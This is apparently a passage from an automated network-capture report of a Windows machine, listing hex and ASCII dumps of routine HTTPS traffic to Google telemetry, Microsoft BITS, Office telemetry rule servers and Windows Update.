R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49779	142.250.186.78	443	6996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:20 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-13 17:08:20 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 35 31 37 36 39 37 39 35 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731517697957",null,null,null,
2024-11-13 17:08:21 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=v244Q3DfvjjXbKcz5MLl7Lx1j2eFWh1DkkaHA-IQUruzvLgK_e8piblHFP4JqWNg4o1Mc797P8gpLF850rvGaCsFgIhmMJ_uKGrRABJUL1Rf0SqMwcfsGy1wOBsXSFhBckgAweG7lI6ozYAwarYFkN1NI2YtqTk0iDfBPb7NLF4GfsH2LguV_AZI; expires=Thu, 15-May-2025 17:08:21 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 13 Nov 2024 17:08:21 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 13 Nov 2024 17:08:21 GMT Connection: close Transfer-Encoding: chunked
2024-11-13 17:08:21 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-13 17:08:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49783	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:21 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-13 17:08:21 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=85000 Date: Wed, 13 Nov 2024 17:08:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:21 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170821Z-16547b76f7fxdzxghC1DFWmf7n0000000hfg00000000qf4q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:21 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 57b0571f-501e-00a3-7dfb-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170821Z-16547b76f7fmbrhqhC1DFWkds80000000hd000000000sn7g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:21 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170821Z-16547b76f7f775p5hC1DFWzdvn0000000hg000000000310v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:21 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170821Z-16547b76f7frbg6bhC1DFWr5400000000h8000000000vsay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 17:08:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:21 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 43621d70-001e-0046-5ca5-34da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170821Z-1749fc9bdbdfj9bwhC1DFWvdqg000000017g000000002amz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49796	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-13 17:08:22 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=85037 Date: Wed, 13 Nov 2024 17:08:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-13 17:08:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49797	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hgDWNmKv8dUwGCA&MD=dceTccfA HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-13 17:08:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 01840cbd-7691-45c4-9532-62eb533b15e0 MS-RequestId: ddd1ced0-0534-4f7f-ac39-62b604106ec5 MS-CV: +dvPMChIHkuWS1dA.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 13 Nov 2024 17:08:22 GMT Connection: close Content-Length: 24490
2024-11-13 17:08:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-13 17:08:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:22 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: dd2a3af5-901e-0083-62a3-34bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170822Z-1749fc9bdbdpg69chC1DFWhecg0000000190000000000xgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:22 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:22 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 574f1a94-c01e-0049-095e-35ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170822Z-1749fc9bdbdhnf7rhC1DFWgd0n000000019000000000hkb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:22 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:22 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
